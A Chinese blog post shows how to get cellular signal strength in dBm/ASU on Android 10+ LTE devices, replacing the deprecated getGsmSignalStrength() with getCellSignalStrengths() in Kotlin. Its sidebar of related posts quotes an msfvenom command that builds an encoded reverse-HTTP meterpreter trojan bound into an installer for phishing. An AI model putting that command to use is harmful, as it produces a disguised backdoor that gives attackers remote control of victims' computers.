获取手机当前信号强度(dbm/asu值)解决 getGsmSignalStrength()总是返回99问题

android开发之获取信号强度 —— 路漫漫其修远兮,吾将上下而求索 ——刚接触android一个月,想把自己学到的一些东西记录下来以激励自己 获取信号强度用到的相关的包android.telephony,用到的相关的类有android.telephony.PhoneStateListener; andr 阅读详情
AI摘要

本文介绍如何在Android 10及更高版本上正确获取手机信号强度(dbm/asu值),解决了getGsmSignalStrength()返回无效值的问题。通过使用更新的API如getCellSignalStrengths(),可以有效地获取LTE等网络类型的信号强度。

能看到这篇文章说明网上哪些获取 (dbm/asu值)不适合你,不是他们的代码不正确,而是不符合你的情况

比如安卓6获取android手机信号强度 可以看这篇文章 https://blog.youkuaiyun.com/sinat_31057219/article/details/81134030

当然如果你是安卓10+设备,并且为 LTE 网络 的情况下,那么就不能用了,你会发现 getGsmSignalStrength() 总是返回 99 代表无效值!

如果你急的话,可以直接拉到文章末尾,复制粘贴 解决😆

先看代码

    private fun startListening() {
        val telephonyManager = context?.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
        telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTHS)
    }

    fun stopListening() {
        val telephonyManager = context?.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
        telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE)
    }

    private val phoneStateListener: PhoneStateListener = object : PhoneStateListener() {
        @RequiresApi(Build.VERSION_CODES.Q)
        override fun onSignalStrengthsChanged(signalStrength: SignalStrength) {
            super.onSignalStrengthsChanged(signalStrength)

            val asu = signalStrength.gsmSignalStrength;
           
            val dbm = -113 + 2*asu;

            //Trace.d("strength: $strength")
            this.strength = "$dbm dBm, $asu asu"
        }
    }

上面代码是网上大部分获取 dbm/asu值 的方法,不适用就不解释了

通过开发者文档可了解到https://developer.android.com/reference/android/telephony/SignalStrength#getCellSignalStrengths()

在这里插入图片描述
在API29 中 getGsmSignalStrength 已经被废弃了,推荐参考 CellSignalStrength

在 CellSignalStrength中可以看到我们需要的这两个值

在这里插入图片描述
既然现在没有方法获取正确的 dbm/asu值,那就试试呗,在 SignalStrength 也就是上面代码监听方法override fun onSignalStrengthsChanged(signalStrength: SignalStrength)的参数,可以调用 getCellSignalStrengths() 方法得到一个 List<CellSignalStrength>集合,get[0] 就是获取第一个信号对象


val dbm = signalStrength.cellSignalStrengths[0].dbm

val asu = signalStrength.cellSignalStrengths[0].asuLevel

输出打印,和系统中的SIM卡状态的信号值一模一样,完美解决✨


问题原因

知其然也要知其所以然

API 变更和限制:从 Android 7.0(Nougat)开始,Google 对 SignalStrength 类进行了修改,增加了对不同信号类型的支持。getGsmSignalStrength() 方法适用于 GSM 网络,对于 LTE 网络并不适用。如果设备当前连接的是 LTE 或其他网络类型,该方法可能返回无效值(如 99),代表未知或未报告的信号强度。

API 的适用性:getGsmSignalStrength() 方法返回的是 ASU(Arbitrary Signal Unit)值,而不是 dBm。ASU 是一个在 0 到 31 之间的整数(99 表示未知)。对于 LTE 网络,应使用更适当的方法来获取 dBm 值。

对于 Android 10(API 级别 Q)设备,应该使用更新的 API,如 cellSignalStrengths,它返回了一个 List<CellSignalStrength>,可以覆盖包括 LTE 在内的多种网络技术,下面是正确示例代码:

private val phoneStateListener: PhoneStateListener = object : PhoneStateListener() {
        @RequiresApi(Build.VERSION_CODES.Q)
        override fun onSignalStrengthsChanged(signalStrength: SignalStrength) {
            super.onSignalStrengthsChanged(signalStrength)
            if (signalStrength.cellSignalStrengths.isNotEmpty()) {
                // 获取信号强度
                dbm = signalStrength.cellSignalStrengths[0].dbm

                // ASU 值(仅适用于 GSM)
                asu = signalStrength.cellSignalStrengths[0].asuLevel
            }
        }
    }
Android11 LTE信号强度获取 3568 借鉴了其他人的一些方法,但是在中间发现LTE的情况下。使用getDbm()方法是获取不到信号强度的。需要另外一个Rssi。 具体如下,大部分还是借鉴别人的: /** * 获取手机信号强度,需添加权限 android.permission.ACCESS_COARSE_LOCATION <br> * API要求不低于17 <br> * * @return 当前手机主卡信号强度, 单位 dBm(-1是默认值,表示获取失败) */ 阅读详情

相关推荐

android信号强度检测

android信号强度检测,实附实现。里面会实时监听信度的变化,并把其打出来

手机信号强度

在android手机上,通过“设置”-“关于手机”-“状态”-“信号强度”可以查看到手机的信号强度,显示出如“-87 dBm 13 asu”

1万+

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7649

android手机信号强度

android手机信号强度检测 Android开发之获取网络类型(WIFI、2G、3G、4G)和运营商名称 wifi 和 手机网络信号强度的获取不同要注意 信号单位 android定义了2种信号单位:dBm和asu。 信号强度单位: dBm(1毫瓦的分贝数)和asu(alone signal unit 独立信号单元)。 它们之间的关系是:dBm =-113+2asu, 这是googl...

希哈科技 3608

Welch 方法详解:一种经典而实用的功率谱密度估计方法

在信号处理领域,谱分析是用于分析信号频率内容的强大工具。Welch方法是现代谱分析中一种广泛使用的功率谱密度估计技术,由Peter D. Welch在1967年提出。它通过对信号进行分段、加窗和平均化处理,提供了一种平滑且稳定的频谱估计方法。Welch方法通过将信号分成多个重叠的段,每段应用窗函数,然后计算每段的周期图,最后对所有周期图进行平均化,得到平滑的功率谱密度估计。welch_psd函数接收信号x、采样频率fs、每段的样本数N、重叠样本数overlap和窗函数类型window。

DuHz的博客 7048

解决用VScode写中文注释,Vivado打开之后是乱码的方法

这样就解决了中文注释乱码的问题,此外如果使用notepad++写verilog代码的话直接在notepad++上面将编码格式改为ANSI格式即可,更加方便快捷,所以此方法仅针对习惯用VScode写Verilog的同学,如果有其他好办法的话欢迎评论区补充。首先,VScode中的中文默认编码格式是UTF-8,然后Vivado的编码格式是vivado 默认的应该是ANSI编码格式,刚开始我先按照网上说明的,将VScode中的编码格式改为GBK格式(点击右下角->点击通过编码保存)。

weixin_50573305的博客 5810

java 接受gsm信息,java – getGSMSignalStrength()始终返回99

我知道这里有另外一个与此相关的问题,但我不认为它适用于我,因为我很确定我使用GSM(isGSM()返回true).无论如何,getCdmaDbm无论如何都会为我返回-1.我使用的是Android 4.1.1和HTC One X.这是我的代码(大多数不是我的代码):主要活动:package com.example.receptionlookup;import android.os.Bundle;im...

weixin_34409887的博客 706

OpenMythos深度解析

本文深入解析了kyegomez/OpenMythos项目如何从第一性原理重建Claude Mythos的核心架构。该项目并非直接复制Claude,而是基于公开论文和实验结果推测其可能的设计理念,构建了包含多模态注意力、深度推理引擎、知识检索模块等六大核心组件的模块化架构。重点剖析了分组查询注意力(GQA)的实现细节,展示了KV头扩展等关键技术。该项目已成为大模型开源社区最受关注的研究之一,为理解Claude的架构思想提供了有价值的参考。

Crown_22的博客 518

android+信号强度,Android信号强度计算方式

GSM的计算方式:A:这个是GSM的,LTE的是否应该有所不同。ASU转换成dBm:dBm=-113+(2*ASU)All*GettheGSMSignalStrength,validvaluesare(0-31,99)asdefinedinTS.GSM的计算方式:A: 这个是GSM的,,LTE的是否应该有所不同。ASU转换成dBm:dBm=-113+(2*ASU)All* Get the GSM ...

weixin_39596720的博客 852

WINDOWS下SIP拨号的实现

在WIN10上拨打SIP电话  由于我的交换原理实验有一个是关于SIP的抓包的。而之前从未接触过SIP,所以在如何完成一次SIP拨号上遇到了不少问题,查了好多资料都没有完整的或者写的很清楚的,这里就对那些资料做一个总结,给出一个比较完善的解决方案,一来是记录此次实验的收获,而来也可能为其他有同样困惑的人解惑。  废话不多说直接开始。首先是下载一个可以拨打SIP电话的客户终端,这里我选择的是MicroSIP, 下载红圈内的文件,下载好之后直接一路安装即可,没有什么特别注意的地方。  安装好客户端之后,就需要注

weixin_43918519的博客 3807

STM32读取BQ40Z50的数据

TI电池管理芯片BQ40Z50,通信协议是SMBUS,类似IIC,速率要求10-100KHz   用的STM32F103的硬件IIC读取电池的各种数值,源代码如下: ​ #include "iic.h" #include "stdio.h"  //***************************************************** // IIC2初始化函数:初始化ST...

百步登峰的博客 1万+

Android:全面&详细解析android 10 RSSI信号格显示与刷新其二,RIL篇,重点类与文件:RIL.java,ril_service.cpp,radioResponse.java

每篇一格言: 当好农民种好地,把头条留给别人。 ——郁亮(万科集团董事会主席) 目录 RSSI 上报的整体层次关系 RSSI RIL部分的类关系 analysis 1:RIL analysis 2:RILRequest analysis 3:IRadio analysis 4:RadioImpl mark1:RadioResponseInfo mark2:HAL中的SignalStrength analysis 5:IRadioResponse analysis 6:RadioResponse

GentelmanTsao的博客 3345

【数据集2】CPC Global Unified Temperature/Precipitation数据简介及处理

简介CPC 温度及降雨 数据

WW、forever的博客 3107

android信号上报过程,Android中的信号强度上报与显示完整流程

红狼博客分析:在RILConstants.java中找到:int RIL_UNSOL_SIGNAL_STRENGTH = 1009;在RIL.java中找到与其相关的代码:private voidprocessUnsolicited (Parcel p) {…….case RIL_UNSOL_SIGNAL_STRENGTH: ret = responseSignalStrength(p); bre...

weixin_36015463的博客 773

深度学习流体力学:基于PyTorch的物理信息神经网络(PINN)完整实现

本文介绍了基于物理信息神经网络(PINN)的深度学习流体力学求解器实现。首先阐述了Navier-Stokes方程的理论基础,包括连续性方程和动量守恒方程,并解释了PINN的核心原理:将物理方程作为约束条件嵌入神经网络损失函数。以经典的lid-driven cavity流动为例,详细展示了使用PyTorch实现的全流程,包括神经网络架构设计、自动微分求解Navier-Stokes方程、多约束条件优化训练等关键环节。该求解器通过将物理方程、边界条件和初始条件整合到损失函数中,实现了对流体力学问题的端到端求解,为

源代码杀手的博客 9839

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

PhoneStateListener在实时获取手机信号强度,真机测试signalStrength.getGsmSignalStrength()一直是99

想用PhoneStateListener实时获取手机信号强度,三星s4真机测试时onSignalStrengthsChanged里得到的signalStrength一直是固定值(SignalStrength: 99 0 -120 -160 -120 -1 -1 99 2147483647 2147483647 2147483647 2147483647 -80 gsm|lte 0x0),所以sig

2937

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

手机信号强度流程

手机信号的获取 手机信号的获取包含两种情况 手机ap端主动获取信号状态 手机cp端上报信号状态 AP主动获取信号强度 初始化时,ServiceStateTracker的构造函数,通过调用RILJ的getSignalStrength(EVENT_GET_SIGNAL_STRGENGTH)获取信号状态。 ServiceStateTracker接收到EVENT_GET_SIGNAL_STRGEN...

qq_28852011的博客 924

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Android中Telephony学习笔记(6)-信号强度类

SignalStrength CellSignalStrength CellSignalStrengthGsm CellSignalStrengthCdma CellSignalStrengthWcdma

doctorq 9803

一种获取手机信号强度的方法

出于项目需求,需要获取到手机信号强度。本人不才,以前都是采用toString()的方法,然后截取,得到强度,但发现很多机型都不适合。苦苦在API中搜寻,结果都不是很理想。最后在Stackoverflow上发现了一个方法,试之,发现大部分机型适合,故写成方法,以便后续需要。但此方法还不是很全面,无法保证所有机型都适合,若各位大虾有更好的方法,还望不吝赐教。 /** * 获取手机...

zjy764219923的专栏 1885

获取手机蜂巢网络信号强度(包括5G,WIFi)

    手机信号强度首先分为两部分,一个是WiFi信号强度,一个是蜂巢网络(数据流量)信号强度。     信号强度会返回一个dbm单位的数据,这个数据就代表了当前环境下手机的信号如何。具体信号强度等级请参考下方表格。 WiFi 范围 等级 0 -(-55) 信号很强 (-55) - (-100) 信号一般 信号强度,都是dbm为负值则正确,否则数据异常,越接近0信号越好     这些等级可以根据我们自己的需求来定义,信号范围是(-100) - 0,我们可以确定自己需要输出几个等级,从

qq_31652941的博客 7545

android 3G 手机信号 信息获取

在androi中手机信号信息的获取可以通过系统提供的TELEPHONY_SERVICE获取 [java] TelephonyManager tel = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); ...

chuhuangqiao1461的博客 325

为什么手机网速太慢_明明手机信号满格,为什么网速却很慢?原来还有这么多讲究...

不知道大家有没遇到过这样一种情况 ,手机信息明明是满格的,但是网络却很差,而且上网的速度也很慢。其实主要原因是手机左上角显示出来的是信号强度,并不是网络强度,那么,我们怎么可以查看到我们手机的真实网络强度呢?下面我们来以华为手机为例。 首先打开设置-找到关于手机-状态消息-点击网络-信号强度,在这里我们可以看到我的手机信号强度是-86dBm 13 asu。 这个数值是什么意思呢?如果你手机的信号强...

weixin_42414212的博客 2889
上一篇: 技术成神之路:设计模式(九)观察者模式
下一篇: 技术成神之路:设计模式(十)备忘录模式
_蓝橙
博客等级 码龄7年 1179粉丝 174原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值